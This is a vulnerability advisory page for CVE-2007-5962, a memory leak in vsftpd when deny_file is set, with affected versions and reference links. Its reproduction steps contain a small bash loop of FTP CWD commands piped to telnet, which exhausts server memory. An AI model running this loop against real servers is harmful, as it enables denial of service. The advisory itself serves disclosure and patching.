CVE-2007-5962
First published: Fri Nov 23 2007(Updated: )
Description of problem: There is a memory leak that causes memory to be allocated but not freed. When the deny_file option is set, it is possible to easily exploit this. This is a regression caused by applied patch in <a class="bz_bug_link bz_status_CLOSED bz_closed bz_public " title="CLOSED RAWHIDE - deny_file seems to not work" href="show_bug.cgi?id=174764">bz174764</a>. Problem also exists in FC-6, F-7, F-8 and fedora/devel. Attached is a patch to solve the problem. Version-Release number of selected component (if applicable): vsftpd-2.0.5-10.el5 How reproducible: always Steps to Reproduce: # echo deny_file=foo >> /etc/vsftpd/vsftpd.conf # service vsftpd restart $ cat > memtest.sh << EOF #!/bin/bash echo USER anonymous echo PASS foo while [ 1 ]; do echo CWD pub echo CWD .. done EOF $ chmod 700 memtest.sh $ ./memtest.sh | telnet localhost 21 > /dev/null Actual results: vsftpd starts to allocate memory that will never be freed. Expected results: Additional info: It is possible that the memory leak can be exploited by other means, or with other vsftpd.conf options. This was not investigated into more depth.
Credit: secalert@redhat.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| Red Hat Enterprise Linux | =5.0 | |
| Redhat Fedora | =6 | |
| Redhat Fedora | =7 | |
| Redhat Fedora | =8 | |
| Foresight Linux Appliances | ||
| rPath Appliance Platform Agent |
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Reference Links
- http://www.openwall.com/lists/oss-security/2008/05/21/10
- http://www.openwall.com/lists/oss-security/2008/05/21/12
- http://www.openwall.com/lists/oss-security/2008/05/21/8
- https://bugzilla.redhat.com/show_bug.cgi?id=397011
- http://www.redhat.com/support/errata/RHSA-2008-0295.html
- http://www.securityfocus.com/bid/29322
- http://securitytracker.com/id?1020079
- http://wiki.rpath.com/wiki/Advisories:rPSA-2008-0185
- https://www.redhat.com/archives/fedora-package-announce/2008-May/msg00691.html
- https://www.redhat.com/archives/fedora-package-announce/2008-May/msg00681.html
- http://secunia.com/advisories/30354
- https://www.redhat.com/archives/fedora-package-announce/2008-May/msg00699.html
- http://secunia.com/advisories/30341
- http://www.vupen.com/english/advisories/2008/1600
- https://exchange.xforce.ibmcloud.com/vulnerabilities/42593
- https://www.exploit-db.com/exploits/5814
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A8850
- http://www.securityfocus.com/archive/1/493167/100/0/threaded
- https://bugzilla.redhat.com/show_bug.cgi/show_bug.cgi?id=174764
- https://bugzilla.redhat.com/show_bug.cgi/attachment.cgi?id=267651&action=diff
- https://bugzilla.redhat.com/show_bug.cgi/attachment.cgi?id=267651&action=edit
- https://bugzilla.redhat.com/show_bug.cgi/attachment.cgi?id=268841&action=diff
- https://bugzilla.redhat.com/show_bug.cgi/attachment.cgi?id=268841&action=edit
- http://rhn.redhat.com/errata/RHSA-2008-0295.html
- https://admin.fedoraproject.org/updates/F8/FEDORA-2008-4347
- https://admin.fedoraproject.org/updates/F9/FEDORA-2008-4362
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